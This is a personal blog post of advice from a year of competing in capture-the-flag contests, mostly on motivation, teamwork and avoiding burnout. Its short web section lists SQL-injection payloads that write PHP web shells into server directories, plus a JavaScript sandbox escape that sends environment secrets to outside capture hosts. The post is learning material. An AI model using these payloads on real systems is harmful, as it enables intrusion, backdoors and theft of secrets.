Home

What I've learned from a year of CTFs

playing in one of the top 100 teams in the world

(yes, we're this cool)

When I was playing CTFs actively with sillysec, I was keeping notes of some of what I was learning as I was going. The following is mostly web focused because I am web focused.

if you're new

If you want to get started with CTFs, go to ctftime.org and pick a CTF that interests you. The secret point of CTFs is to find what you don't know and learn it. Winning comes naturally from a constant practice of that. When the CTF starts, join its Discord server - this is where you can find a team and learn how others solved challenges you struggled with from their writeups.

Why should you play with a team? A team is as important as your own skills. Sometimes you really do need to brainstorm ideas. They will guide you where you're clueless and you'll guide them. You'll practice team work, social skills, maintaining high morale, and you'll make friends. Pick a team you feel comfortable and motivated in. (don't buy in to the grind culture). You can reach out to people in the Discord server (do it politely) (having experience helps sell yourself). I enjoyed playing in a small team but I don't know how universal that is.

When you want to get to solving challenges, start from the easiest (if you're experienced, it's easy points, easy dopamine). If you're new to this, expect a lot of failure - that's okay, it's the point. Recognize what you didn't know and learn it. Mix that with general learning from courses (linked below) and you'll start getting flags before you know it! It might take a while though. Don't get discouraged, trust the process.

After the CTF has ended, look at writeups of challenges you had trouble with. You'll be able to find them after a while on the Discord server and on the ctftime.org page. And make your own writeups! You'll be giving back to the community, expanding your blog/portfolio, have an easiy shareable bit of your own computercoolness... and you enjoying this may mean that you will end up applying to cybersec jobs - writeups are a great resource there. It also helps you practice writing reports, which is just a useful skill. It's better to make a poor writeup than none at all! There was a point when I wished I had made more low quality writeups on top of a few good ones, rather than just a few good ones, but I made some quick small writeups since then.

(or don't listen to any of this and just go have fun)

Now, starting out the main part with the most important bit, since you play CTFs for a reason:

how to not burn out

Whatever the level you're at, mostly do challenges in areas you're already good at. Yes, of course do a number of challenges that you'll learn something new from. But this is so you don't burn out. If you only do challenges at the boundary of your capabilities, you'll only face uphill battles and an amount of failure you won't be able to process.

Long term, even if we take this point to an extreme, you'll learn more from solving all easy challenges and only one reasonably difficult one per CTF, than attempting only the difficult ones only to burn out later. Trust me, the latter brought me to burnout I took a year to recover from. By doing the easy challenges, you not only get quick points for your team, but also hone your skills and improve your form and speed. All while consistently being reminded of your success and witnessing your progress. Be happy that easy challenges are easy for you! That's all you!

If you're doing this to learn (and to win), this philosophy will give you more of what you want long term.

actual tech learnings i've got

(yes, i'm done yapping)

web

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

pointers to escape a javascript sandbox

<iframe id="exfil" src="https://eb9fabc4e699.ngrok.io/yaku"></iframe>
<script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("return process")();

setTimeout(function() {
  exfil.src = "/" + JSON.stringify(process.env['CTF_FLAG']);
}, 2000);
</script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("fetch('https://uwu.requestcatcher.com/local', {method: 'POST', body: JSON.stringify(process)})")();

PHP

rev

android

I don't have much experience with this but here are some pointers:

wild tricks

misc

more philosophy

links

learning resources

tools

wordlists

passwords

local file inclusion

Home